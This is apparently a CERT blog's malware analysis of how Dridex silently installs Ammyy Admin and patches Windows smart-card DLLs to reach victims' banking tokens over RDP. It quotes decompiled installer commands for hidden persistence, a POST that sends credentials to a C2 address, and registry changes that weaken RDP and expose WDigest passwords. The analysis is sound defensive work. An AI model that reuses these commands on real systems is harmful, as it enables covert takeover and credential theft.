What is the difference between a legit remote administration tool like Teamviewer or Ammyy Admin and a trojan horse ? While both allow remote control of the computer, the legit remote administration tool has three security features:

  • it has visual feedback: through a connection window or a notification icon in the taskbar for instance
  • it is legit: the file has been developed by a trusted company and comes most of the time digitally signed
  • the user is in control: they explicitly allow people to connect to their computer by giving their connexion ID and a password and/or by manually approving every incoming connection.

But it happens, from time to time, that malicious softwares make use of legit softwares in order to achieve less noble goals such as silently taking over one’s computer without their consent. In this blog post, we will see how Dridex combines two legit softwares, a NSIS installer and the Ammyy Admin tool, in order to build a cheap trojan horse ready to perform banking transactions.

First look at the file

Computers infected by Dridex are constantly reporting to the Dridex command and control center through a network of infected hosts. When a system is considered “interesting” enough, a botnet operator may wish to connect to the machine in order to perform banking transactions. The file we will analyze today[1] has been downloaded on 2015-10-06 by an instance of the Dridex malware, most likely in order to set up such an operation.

Unsurprisingly, a quick analysis of the binary file tells us that the program is obfuscated. A first pass of dynamic analysis enables us to get rid of the first layer and reveals a second program[2] named 4B54204.exe (random name) written in the Windows temporary folder. At the time of the analysis, this file was not detected by any antivirus on VirusTotal.

As the string “NullsoftInst” located in the file’s overlay suggests, this file is a NSIS (Nullsoft Scriptable Install System) installer. The next analysis step in such a case is to extract all possible information from the installer, in particular:

  • Which plugins are being used ?
  • Which files will be installed ?
  • What does the installation script do ?

Some free tools like 7zip are able to extract most of this information. However, none of these tools worked on this file. A rapid static analysis allows us to spot a small trick used by the malware. The NSIS archive marker, usually the word 0xDEADBEEF followed by the string “NullSoftInst” has here been slightly modified:


The machine code of the installer has been patched accordingly in order to accept the modified marker. This trick is most likely targeted at antivirus programs. Indeed, AV scanners will not scan the content of the NSIS archive if they cannot locate the usual NSIS marker.

Once the NSIS marker has been patched back to its original value, the content of the NSIS package can be accessed and reveals the following files:

  • temp1: a password protected 7z archive
  • temp2: the 7zip utility
  • script.bin: the installation script (in compiled form)
  • Some NSIS plugins used by the installation script in order to interact with the operating system
    • INetC.dll: internet communication
    • nsExec.dll and System.dll: run system commands and call Windows APIs
    • VPatch.dll: patch utility
    • Userinfo.dll: gather information about the current user
  • tmp3: the tool WfpDeprotect v1.00, packed with PECompact
  • tmp4: the tool taskkill.exe
  • tmp5: the library setupapi.dll
  • tmp8: a mimikatz-like tool that is able to dump the user password by injecting into lsass.exe
  • tmp9: the 64bits version of tmp8
  • $1: a patch file

Since the installation script is only stored in its compiled form, its decompilation is first needed.

Silent Ammyy Admin install

The program NullsoftDecompiler[3] can be used in order to decompile the installation script script.bin. Please note that NullsoftDecompiler seems to be in alpha state. Indeed a few programming errors need to be fixed in order for the tool to process the file. Once fixed, we can get our hands on the textual representation of the script bytecode[4]. We quickly learn which password was used for the temp1 archive:

Push '$TEMP\temp2.exe x $TEMP\temp1 -p43564575675537 -o"$APPDATA\AMMYY" -aoa' CallInstDLL $PLUGINSDIR\nsExec.dll Exec

This 7z archive holds an obfuscated executable file named wmihost.exe which appears to be in fact the program Ammyy Admin 3.5. Running the file in a virtual machine confirms it thanks to the usual connection window:



Once Ammyy Admin has been installed in the AppData folder, the installation script registers it at Windows startup. It is either registered as a fake service, if the current user as administrator rights:

SetDetailsPrint lastused Push 'cmd /c sc create link binpath= "$APPDATA\AMMYY\wmihost.exe -service" start= auto displayname= "Time Service"' CallInstDLL $PLUGINSDIR\nsExec.dll Exec Pop $0 Call func_0xC18 File $PLUGINSDIR\nsExec.dll SetDetailsPrint lastused Push 'cmd /c sc description link "Time Service"' CallInstDLL $PLUGINSDIR\nsExec.dll Exec Pop $0 Call func_0xC18 File $PLUGINSDIR\nsExec.dll SetDetailsPrint lastused Push 'cmd /c net start link /y'

or simply adds an entry in the CurrentVersion\Run registry folder:

Push 'cmd /c start "" "$APPDATA\AMMYY\wmihost.exe" -nogui' CallInstDLL $PLUGINSDIR\nsExec.dll Exec Pop $0 Sleep 2000 SetShellVarContext all Push 'cmd /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v Data /d "$APPDATA\AMMYY\wmihost.exe -nogui"' Call :Label_0x1C

We can see here the use of an undocumented ‘-nogui’ Ammyy Admin command line parameter which disables the display of any window. The visual feedback is gone, persistence has been added, but user control is still in place and needs to be overridden in order for the program to be called a true trojan horse.

Trojan horse finalization

Once Ammyy Admin has been installed, the NSIS script will then gather some information about the infected computer, in particular:

  • which operating system is installed
  • the login and password of the current user (thanks to the tmp8 and tmp9 binaries)
  • the Ammyy Client ID of the computer

The client ID is the identifier allowing the attacker to connect to the computer of the victim using the Ammyy relay servers (and thus bypassing NAT). This ID is extracted via 2 additional command line parameters:

Exec '"$APPDATA\AMMYY\wmihost.exe" -getid -nogui'
Sleep 5000
ExecWait '"$APPDATA\AMMYY\wmihost.exe" -outid'
Sleep 2000
SetShellVarContext all

All these informations are then packed in a http POST query and sent to the url hxxp://; address most likely controlled by the Dridex botnet operators:

Push hxxp://
Push 'id=$UserVar0&il=$UserVar2/$UserVar3 $UserVar12&os=$UserVar4 $UserVar5$UserVar6 SP$UserVar8 $UserVar7 $UserVar11&hs=$UserVar1 $UserVar9 $UserVar10&ps=$UserVar13'
CallInstDLL  $PLUGINSDIR\INetC.dll  post

Once the client ID has been uploaded, only one mechanism of user control stays in place: the user has to manually allow each and every incoming connection through an interactive window. This last problem is bypassed by the malware by simply writing the settings3.bin (from the temp2 archive) into the the AppData\Ammyy folder. This configuration file just tells Ammyy Admin to silently allow all incoming connections. After this last step, the malware finally achieved to transform the Ammyy Admin software into a persistent, silent trojan horse.

Additional functionality: access to hardware tokens

The installation script suggests that the botnet operators are willing to connect to the victim computer using Remote Desktop Protocol. Several registry keys from the Terminal Server service are in fact modified in order to allow RDP login and lower the overall RDP security. This kind of action is quite common in the banking malware world, and can be found, for instance, in the Dyreza/Dire malware.

WriteRegDWORD HKLM 'SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' LogonTimeout 50000
WriteRegDWORD HKLM 'SYSTEM\CurrentControlSet\Control\Terminal Server' fDenyTSConnections 0
WriteRegDWORD HKLM 'SYSTEM\CurrentControlSet\Control\Terminal Server' fSingleSessionPerUser 0
WriteRegDWORD HKLM 'SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' UserAuthentication 0
WriteRegDWORD HKLM 'SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' SecurityLayer 0
Call func_0xC18
File  $PLUGINSDIR\nsExec.dll
SetDetailsPrint lastused 
Push 'cmd /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /f /v "LimitBlankPasswordUse" /t REG_DWORD /d "0"'
CallInstDLL  $PLUGINSDIR\nsExec.dll  Exec    
WriteRegDWORD HKLM 'SYSTEM\CurrentControlSet\Control\Terminal Server\DefaultUserConfiguration' MaxDisconnectionTime 50000
Call func_0xC18
File  $PLUGINSDIR\nsExec.dll
SetDetailsPrint lastused 
Push 'cmd /c reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /f /v UseLogonCredential /t REG_DWORD /d 1'

From there on, the Dridex operators are most likely to start a RDP session using the RDP feature already packed in Ammyy Admin, although we can’t be 100% sure. But what’s more certain is what the operators plan to do in this RDP session: huge efforts have been made in order to give access to the secure hardware token of the victim from within the RDP session. In fact, it seems that it is not natively possible to gain access to hardware tokens using the windows APIs from within a RDP session[5].

In order to overcome this difficulty, the bad guys came with an effective, if not very subtle, solution: patching Windows system dlls. The last part of the installation script will in fact:

  1. Unprotect the Windows system folder using the WfpDeprotect (tmp3) tool
  2. Patch the following 4 files, using the VPatch NSIS plugin et the $1 patch file:
    • winscard.dll
    • scardsvr.dll
    • termsrv.dll
    • winlogon.exe

We can play back these patches by using the vpatchprompt utility shipped with the VPatch[6] tool. Sadly, the patch was applied to only two of these files in our analysis computer, winscard.dll and scardsvr.dll.


The first identified patch targets the scardsvr.dll dll and modifies 1 byte inside the CheckCallerPrivilege function. This function, called from the CalRpcSCardSecurityCallback function, seems to play a role in the secure token access mechanism. There, the patch just gives access to anyone, ignoring the current impersonation token.

The second identified patch targets the winscard.dll and modifies 5 bytes inside the InTSRedirectModeWithContext function. The goal of this function is to tell if the current session is a Terminal Server (RDP) session. The patch forces the return value of this function to be null.


The goal of these 2 patches is quite simple: allow all RDP sessions to access the secure hardware token of the remote computer. Since many banks make use of such devices in order to authenticate financial operations, it’s not hard to guess why the bad guys want to use these tokens.

Regarding the patches targeting winlogon.exe and termsrv.dll, we can just guess that they have a similar goal. If by chance you happen to have a version of these files that is supported by the patch file, please mail them to cert-soc@l**


By combining two legit softwares, a NSIS installer and Ammyy Admin, the Dridex botnet operators managed to build a cost and time effective trojan horse. Additionally, the patching of Windows system dlls allows them to overcome a RDP technical limitation and access to the secure hardware token connected to the computer of the victim.

This kind of cheap trojan horse seems to be used by the Dridex team in order to impersonate the victim and perform malicious banking operations. If you detect suspicious network traffic tied to the Ammyy Admin protocol, it can be the sign of a Dridex infection.

In any case, don’t hesitate to contact our incident response team for any assistance regarding Dridex infection[7].